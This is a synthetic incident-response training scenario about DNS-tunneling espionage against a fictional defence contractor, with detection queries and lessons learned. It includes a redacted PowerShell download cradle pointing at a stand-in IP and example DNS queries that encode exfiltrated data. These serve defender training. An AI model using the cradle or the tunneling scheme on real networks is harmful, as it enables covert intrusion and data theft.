Skip to content

SC-042: DNS Tunneling Exfiltration

Scenario Header

Type: Espionage / Data Exfiltration  |  Difficulty: ★★★★★  |  Duration: 3–4 hours  |  Participants: 6–10

Threat Actor: Nation-state espionage group — DNS-based C2 and exfiltration

Primary ATT&CK Techniques: T1071.004 · T1572 · T1048.001 · T1566.001 · T1059.001 · T1083 · T1560.001


Threat Actor Profile

SILENT CHANNEL is a synthetic nation-state espionage group that specializes in leveraging DNS as a covert communication channel for command-and-control and data exfiltration. The group targets defense contractors, government agencies, and critical research institutions, focusing on intellectual property theft related to defense programs, advanced weapons systems, and classified research.

SILENT CHANNEL's signature tradecraft is the use of DNS tunneling as their primary C2 and exfiltration mechanism. They operate custom DNS tunneling software that encodes data into DNS query names (subdomains of attacker-controlled domains) and receives commands via DNS TXT, CNAME, and MX record responses. This technique exploits the fact that DNS is almost universally allowed through firewalls and is rarely inspected at the content level.

The group operates their own authoritative DNS servers for attacker-controlled domains, allowing them to receive any DNS query directed at those domains and respond with arbitrary data encoded in DNS records.

Motivation: Strategic intelligence collection — theft of defense program specifications, technical drawings, classified research, and communications of senior leadership.

Public Research Context

This scenario is informed by publicly documented DNS tunneling attacks:

  • OilRig/APT34: Iranian threat group known for using DNS tunneling tools (DNSpionage, ALMA Communicator) for C2 against Middle Eastern targets
  • Wekby/APT18: Used custom DNS tunneling tool (pisloader) for C2 in attacks against healthcare and technology organizations
  • FrameworkPOS: Point-of-sale malware that exfiltrated stolen credit card data via DNS queries — encoding card numbers in subdomain labels
  • Iodine & dnscat2: Open-source DNS tunneling tools frequently referenced in threat intelligence as the basis for custom implementations
  • SANS Institute Research: DNS tunneling can achieve 5–50 Kbps throughput — slow but sufficient for exfiltrating documents and credentials over days or weeks

All technical details in this scenario are synthetic. No real defense contractor data or infrastructure is used.


Scenario Narrative

Phase 1 — Initial Access via Spear Phishing (~30 min)

Orion Defense Analytics (ODA) is a synthetic defense contractor with 1,200 employees specializing in radar systems and electronic warfare. ODA holds multiple classified contracts and operates a segmented network with separate enclaves for unclassified (CUI), Secret, and Top Secret work. The unclassified network connects to the internet; classified enclaves are air-gapped.

SILENT CHANNEL targets ODA's unclassified corporate network, which contains CUI (Controlled Unclassified Information) including technical proposals, contract details, personnel records, and unclassified engineering data. While not classified, this data has significant intelligence value.

The attack begins with a spear phishing email targeting Dr. Sarah Kim, a senior radar systems engineer:

Subject: "DARPA BAA-2026-015 — Next-Gen AESA Radar Research Solicitation" Sender: solicitations@darpa-baa.example.com Attachment: DARPA_BAA_2026_015_AESA_Radar.pdf (PDF with embedded JavaScript)

The PDF exploits a vulnerability in the target's PDF reader to execute a PowerShell download cradle that retrieves the DNS tunneling implant from 198.51.100.75:

# Synthetic — educational representation of download cradle
# DO NOT use in any real environment
powershell -nop -w hidden -enc [Base64EncodedPayload]
# Decoded payload downloads and executes DNS tunnel agent
# from 198.51.100.75/update.bin

The implant, dubbed SilentDNS, is a custom DNS tunneling client written in C that:

  • Encodes C2 commands and data in DNS queries to *.data.updates-cdn.example.com
  • Receives commands via DNS TXT record responses from the attacker's authoritative DNS server (203.0.113.100)
  • Uses base32 encoding in subdomain labels (max 63 chars per label, 253 chars total per query)
  • Queries are sent to the organization's internal DNS resolver, which forwards to recursive resolvers, which ultimately query the attacker's authoritative server
  • Beacon interval: randomized 30–90 seconds

Evidence Artifacts:

Artifact Detail
Email Gateway Inbound from solicitations@darpa-baa.example.com — SPF: PASS (attacker controls domain) — DKIM: PASS — Attachment: DARPA_BAA_2026_015_AESA_Radar.pdf2026-02-03T10:15:00Z
Endpoint (EDR) Process chain: AcroRd32.execmd.exepowershell.exe -nop -w hidden -enc ... — Host: ODA-ENG-SKIM — User: s.kim2026-02-03T10:17:22Z
Endpoint (EDR) New binary created: C:\ProgramData\Microsoft\Crypto\RSA\csrss.exe (SilentDNS implant — 142KB) — 2026-02-03T10:17:45Z
DNS Logs First query to *.data.updates-cdn.example.com from ODA-ENG-SKIM (10.10.5.42) — 2026-02-03T10:18:01Z
Network Flow No direct outbound connections from ODA-ENG-SKIM to external IPs other than DNS — all C2 traffic traverses the internal DNS resolver (10.10.1.10)
Phase 1 — Discussion Inject

Technical: The phishing email passed SPF and DKIM checks because the attacker registered and controls the darpa-baa.example.com domain. What additional email security controls would catch this? Consider: domain age checking, lookalike domain detection, and header analysis for first-time sender domains.

Decision: The EDR detected the AcroRd32.exe → cmd.exe → powershell.exe execution chain. In many organizations, this alert would be triaged as a true positive. However, ODA's EDR is configured in "detect" mode, not "prevent" mode, for PDF reader processes due to compatibility concerns. Should the SOC advocate for moving to "prevent" mode and accept the risk of false-positive disruptions?

Expected Analyst Actions: - [ ] Investigate the process chain from AcroRd32.exe — this is a classic exploit-to-execution pattern - [ ] Analyze the dropped binary csrss.exe — name mimics a legitimate Windows process but is in an unusual path - [ ] Examine DNS query logs for ODA-ENG-SKIM — look for unusual domain patterns - [ ] Check if other engineers received the same phishing email - [ ] Submit the PDF to a sandbox for dynamic analysis


Phase 2 — DNS Tunneling C2 & Internal Reconnaissance (~40 min)

SilentDNS establishes a reliable C2 channel over DNS. The communication protocol operates as follows:

Data is base32-encoded and placed in the subdomain labels of DNS queries:

# Synthetic example — educational only
GEZDGNBVGY3TQOJQ.data.updates-cdn.example.com  →  TXT query
│                  │
└─ base32-encoded  └─ attacker-controlled domain
   data payload

Each DNS query can carry approximately 150 bytes of encoded payload. At a beacon rate of 1 query per 30–90 seconds, throughput is approximately 2–5 bytes/second (170–430 KB/day).

Commands are returned in DNS TXT record responses:

# Synthetic example — educational only
TXT "GEZDGNBVGY3TQOJQGE2DSNRXHA3DOOBZ"
└─ base32-encoded command payload
   (e.g., "dir C:\Users\s.kim\Documents")
10:18:01  ODA-ENG-SKIM → DNS → GEZDGNBV.data.updates-cdn.example.com  TXT
10:18:45  ODA-ENG-SKIM → DNS → GY3TQOJQ.data.updates-cdn.example.com  TXT
10:19:33  ODA-ENG-SKIM → DNS → GEZDONBV.data.updates-cdn.example.com  TXT
10:20:21  ODA-ENG-SKIM → DNS → HA3DOOBZ.data.updates-cdn.example.com  TXT
...
(continuous, 30-90 second intervals, 24/7)

Using the DNS tunnel, SILENT CHANNEL conducts internal reconnaissance over 14 days:

Day Activity Data Collected
1–3 Local host enumeration File listings, installed software, network configuration, logged-in users
4–7 Active Directory enumeration Domain users, groups, OUs, group policy objects, trust relationships
8–10 Network share discovery SMB shares: \\oda-fs01.oda.example\engineering$, \\oda-fs01.oda.example\proposals$, \\oda-fs01.oda.example\contracts$
11–14 Lateral movement Mimikatz (in-memory) → credential harvesting → lateral movement to ODA-ENG-JPARK and ODA-PM-LWONG via PsExec

Evidence Artifacts:

Artifact Detail
DNS Logs ODA-ENG-SKIM (10.10.5.42): 28,400 queries to *.data.updates-cdn.example.com over 14 days — All TXT record queries — No other host queries this domain — 2026-02-03 to 2026-02-17
DNS Logs Average query length: 47 characters in subdomain (vs. normal average of 12 characters) — Entropy: 4.2 bits/char (vs. normal 2.8 bits/char)
DNS Logs Query timing: 30–90 second intervals, 24/7 — no pause during nights/weekends — unlike legitimate user-driven DNS activity
Active Directory LDAP queries from ODA-ENG-SKIM — enumeration of all users, groups, and OUs — 2026-02-07T02:14:00Z (2:14 AM — user's normal hours are 8AM–6PM)
Endpoint (EDR) Mimikatz execution detected (in-memory, reflective DLL injection) — Host: ODA-ENG-SKIM2026-02-14T03:22:00ZAlert generated, L1 analyst noted "testing activity" and closed
Network Flow SMB connections from ODA-ENG-SKIM to ODA-FS01 — shares accessed: engineering$, proposals$, contracts$ — 340GB of files enumerated — 2026-02-11 to 2026-02-14
Phase 2 — Discussion Inject

Technical: The DNS tunnel generates 28,400 queries to a single domain over 14 days — all TXT queries with high-entropy subdomain labels. What specific DNS analytics would detect this? Consider: query type distribution, subdomain entropy analysis, query volume per domain, and time-of-day patterns.

Decision: An L1 analyst received the Mimikatz alert and closed it as "testing activity." This is the second critical alert dismissed in this scenario. What SOC process changes would prevent high-fidelity alerts (DCSync, Mimikatz, credential dumping) from being dismissed without thorough investigation?

Expected Analyst Actions: - [ ] Analyze DNS query logs for updates-cdn.example.com — high query volume, TXT-only, high entropy - [ ] Investigate 24/7 query pattern — legitimate DNS activity follows human work patterns - [ ] Check domain registration: updates-cdn.example.com — when was it registered? What's the registrar? - [ ] Correlate the Mimikatz alert with the DNS anomaly — these are likely connected - [ ] Check for lateral movement — has ODA-ENG-SKIM connected to unusual hosts?


Phase 3 — Data Staging & DNS Exfiltration (~35 min)

After 14 days of reconnaissance, SILENT CHANNEL has identified the high-value targets:

  • \\oda-fs01.oda.example\proposals$\DARPA-AESA-2026\ — 2.8GB of radar system technical proposals
  • \\oda-fs01.oda.example\engineering$\EW-CounterMeasures\ — 1.4GB of electronic warfare specifications
  • \\oda-fs01.oda.example\contracts$\DoD-FA8721\ — 890MB of contract documents and performance reports

Total target data: 5.1GB. At the DNS tunnel's throughput of ~400KB/day, exfiltrating all data would take approximately 35 years. SILENT CHANNEL employs two optimization strategies:

  1. Selective targeting: Reduce the dataset to the most valuable 120MB through keyword search and file type filtering (.docx, .pdf, .xlsx, .pptx containing keywords: "AESA", "radar", "frequency hopping", "electronic warfare", "jamming", "counter-countermeasure")
  2. Compression and chunking: Compress the 120MB dataset to 38MB using LZMA compression, then split into 253-byte DNS-compatible chunks (approximately 150,000 DNS queries to exfiltrate)

The exfiltration runs over 21 days at an elevated beacon rate (1 query per 5–15 seconds during business hours only — to blend with normal DNS traffic volume):

# Synthetic exfiltration DNS queries — educational only
GEZDGNBV.GY3TQOJQ.GEZDSNRX.c001.exfil.updates-cdn.example.com  TXT
│         │         │         │
└─────────┴─────────┴─ data  └─ chunk counter
   (base32-encoded compressed file data)

Evidence Artifacts:

Artifact Detail
DNS Logs Exfiltration phase: query rate increased from 1/60s to 1/10s during business hours (8AM–6PM) — 2026-02-17 to 2026-03-10
DNS Logs Total queries to *.updates-cdn.example.com during exfiltration: 152,000 — Total data encoded: ~38MB
DNS Logs Subdomain structure changed: 3–4 labels per query (vs. 1–2 during C2 phase) — chunk counter visible in 4th label
File Server Audit s.kim account accessed 847 files in proposals$ and engineering$ — 78% of files had never been accessed by this user before — 2026-02-15 to 2026-02-17
Network Flow SMB data transfer: ODA-ENG-SKIM downloaded 120MB from ODA-FS01 — compressed locally to 38MB — 2026-02-15 to 2026-02-17
Endpoint (EDR) LZMA compression utility executed: C:\ProgramData\Microsoft\Crypto\RSA\pack.exe — Input: C:\ProgramData\staging\ — Output: C:\ProgramData\staging\data.lzma2026-02-17T04:30:00Z
Phase 3 — Discussion Inject

Technical: The exfiltration generates 152,000 DNS queries over 21 days to a single domain. The total data exfiltrated is only 38MB, but the intelligence value is enormous. What DNS monitoring tools and techniques would detect this low-and-slow exfiltration? Consider: passive DNS monitoring, DNS query volume baselines, Shannon entropy analysis on subdomain strings, and DNS response size analysis.

Decision: ODA's DNS infrastructure consists of an internal recursive resolver that forwards all queries to an external provider (e.g., 8.8.8.8). The organization has no DNS logging, no DNS inspection, and no DNS security solution. What is the minimum viable DNS security architecture for a defense contractor handling CUI?

Expected Analyst Actions: - [ ] Deploy DNS logging immediately — capture all queries from all internal hosts - [ ] Analyze historical DNS data (if available from network flow logs) for updates-cdn.example.com - [ ] Block updates-cdn.example.com at the DNS resolver and firewall level - [ ] Isolate all compromised hosts (ODA-ENG-SKIM, ODA-ENG-JPARK, ODA-PM-LWONG) - [ ] Assess data exposure — what files were accessed and potentially exfiltrated? - [ ] Engage DCSA (Defense Counterintelligence and Security Agency) for classified spillage assessment


Detection & Hunting

KQL Detection Queries

// Detect DNS tunneling — high query volume to single domain with high entropy subdomains
DnsEvents
| where TimeGenerated > ago(24h)
| extend SubDomain = tostring(split(Name, ".")[0])
| extend DomainBase = strcat(tostring(split(Name, ".")[-2]), ".", tostring(split(Name, ".")[-1]))
| extend SubDomainLength = strlen(SubDomain)
| summarize QueryCount = count(),
            AvgSubDomainLength = avg(SubDomainLength),
            MaxSubDomainLength = max(SubDomainLength),
            UniqueSubDomains = dcount(SubDomain),
            SourceHosts = dcount(Computer)
  by DomainBase
| where QueryCount > 500
    and AvgSubDomainLength > 20
    and UniqueSubDomains > 100
    and SourceHosts <= 3
| sort by QueryCount desc
// Detect DNS TXT query anomaly — TXT queries are rare in normal traffic
DnsEvents
| where TimeGenerated > ago(24h)
| where QueryType == "TXT"
| summarize TXTQueries = count(), UniqueDomains = dcount(Name) by Computer
| where TXTQueries > 100
| sort by TXTQueries desc
// Detect DNS beaconing — regular interval queries to a single domain
DnsEvents
| where TimeGenerated > ago(7d)
| where Name contains "updates-cdn.example.com"
| sort by TimeGenerated asc
| extend NextQuery = next(TimeGenerated)
| extend IntervalSeconds = datetime_diff('second', NextQuery, TimeGenerated)
| summarize AvgInterval = avg(IntervalSeconds),
            StdevInterval = stdev(IntervalSeconds),
            MinInterval = min(IntervalSeconds),
            MaxInterval = max(IntervalSeconds),
            QueryCount = count()
  by Computer
| extend Jitter = StdevInterval / AvgInterval
| where Jitter < 0.5 and QueryCount > 100

SPL Detection Queries

// Detect DNS tunneling — high entropy subdomain queries
index=dns sourcetype=dns
| eval subdomain=mvindex(split(query, "."), 0)
| eval subdomain_len=len(subdomain)
| eval base_domain=mvindex(split(query, "."), -2) . "." . mvindex(split(query, "."), -1)
| stats count as query_count, avg(subdomain_len) as avg_len, dc(subdomain) as unique_subs, dc(src_ip) as source_hosts by base_domain
| where query_count > 500 AND avg_len > 20 AND unique_subs > 100 AND source_hosts <= 3
| sort -query_count
// Detect DNS beaconing pattern
index=dns sourcetype=dns query="*updates-cdn.example.com"
| sort _time
| streamstats current=f last(_time) as prev_time by src_ip
| eval interval=_time - prev_time
| stats count, avg(interval) as avg_interval, stdev(interval) as stdev_interval by src_ip
| eval jitter_ratio = stdev_interval / avg_interval
| where jitter_ratio < 0.5 AND count > 100
| table src_ip, count, avg_interval, stdev_interval, jitter_ratio
// Detect anomalous TXT query volume per host
index=dns sourcetype=dns record_type=TXT
| stats count as txt_queries, dc(query) as unique_domains by src_ip
| where txt_queries > 100
| sort -txt_queries

Indicators of Compromise (IOCs)

Synthetic IOCs — For Training Only

All indicators below are synthetic and generated for educational purposes. Do not use in production detection systems.

Type Indicator Context
IP Address 198.51.100.75 Payload staging server
IP Address 203.0.113.100 Attacker authoritative DNS server
Domain updates-cdn.example.com DNS tunneling C2 domain
Domain darpa-baa.example.com Phishing sender domain
File Hash (SHA256) a1b2c3d4e5f6... (synthetic) SilentDNS implant (csrss.exe)
File Path C:\ProgramData\Microsoft\Crypto\RSA\csrss.exe Implant location — masquerades as legitimate Windows process
File Path C:\ProgramData\staging\data.lzma Compressed exfiltration staging file
DNS Pattern TXT queries to *.data.updates-cdn.example.com with base32-encoded subdomain labels DNS tunneling C2 traffic
DNS Pattern >500 queries/day to single domain, avg subdomain length >20 chars DNS tunneling indicator
Behavior DNS queries at 30–90 second intervals, 24/7 including nights/weekends Automated beaconing (not human-driven)
Email solicitations@darpa-baa.example.com Phishing sender address

Full Attack Timeline

Time Event ATT&CK ID
2026-02-03 10:15 Spear phishing email sent to Dr. Sarah Kim T1566.001
2026-02-03 10:17 PDF exploit triggers PowerShell download cradle T1059.001
2026-02-03 10:17 SilentDNS implant deployed to ODA-ENG-SKIM T1105
2026-02-03 10:18 DNS tunneling C2 channel established T1071.004
2026-02-03–02-07 Local host and network enumeration T1083
2026-02-07–02-10 Active Directory enumeration via LDAP T1087.002
2026-02-11–02-14 Network share discovery and file enumeration T1135
2026-02-14 03:22 Mimikatz credential harvesting (in-memory) — alert dismissed by L1 T1003.001
2026-02-14–02-15 Lateral movement to 2 additional hosts via PsExec T1570
2026-02-15–02-17 Data staging — 120MB selected, compressed to 38MB T1560.001
2026-02-17–03-10 DNS exfiltration — 152,000 queries over 21 days T1048.001
2026-03-11 Anomaly detected by new DNS analytics tool (installed during unrelated project)
2026-03-11 Incident response initiated

Lessons Learned

Critical Failures

  1. No DNS inspection or logging: ODA had no visibility into DNS query content. DNS is the most commonly allowed protocol through firewalls, yet it was completely unmonitored. The attacker operated undetected for 36 days.

  2. EDR in detect-only mode: The EDR detected the initial exploit chain (AcroRd32.exe → cmd.exe → powershell.exe) but did not block it. Detect-only mode for high-confidence exploit chains leaves a window for attackers to establish persistence before analysts respond.

  3. Mimikatz alert dismissed: An L1 analyst dismissed a Mimikatz detection as "testing activity." High-fidelity credential theft alerts must be treated as critical incidents with mandatory escalation to L2/L3 regardless of the analyst's initial assessment.

  4. No outbound DNS restrictions: All internal hosts could query any external domain via the internal DNS resolver. DNS allowlisting or DNS security solutions (DNS firewalls, RPZ, protective DNS) would have blocked queries to the attacker-controlled domain.

  5. Flat network east-west visibility: Lateral movement via PsExec between engineering workstations was not detected because there was no east-west network monitoring or microsegmentation.

Control Priority ATT&CK Mitigation
Deploy DNS logging and analytics — capture all internal DNS queries Critical M1037
Implement DNS security solution (protective DNS, RPZ, or DNS firewall) Critical M1037
Switch EDR to prevent mode for high-confidence exploit chains (Office/PDF → shell) Critical M1049
Mandate L2 escalation for credential theft alerts (Mimikatz, DCSync, LSASS access) Critical M1031
Restrict outbound DNS — only allow internal resolvers to query external DNS High M1037
Deploy DNS entropy analysis for subdomain tunneling detection High M1031
Implement network segmentation and east-west traffic monitoring High M1030
Deploy UEBA for file access anomalies — alert on access to files outside normal scope Medium M1018
Implement DNS query type baseline — alert on anomalous TXT/NULL/CNAME query volumes Medium M1031
Conduct purple team exercise: DNS tunneling detection using iodine/dnscat2 in a lab environment Medium

Cross-References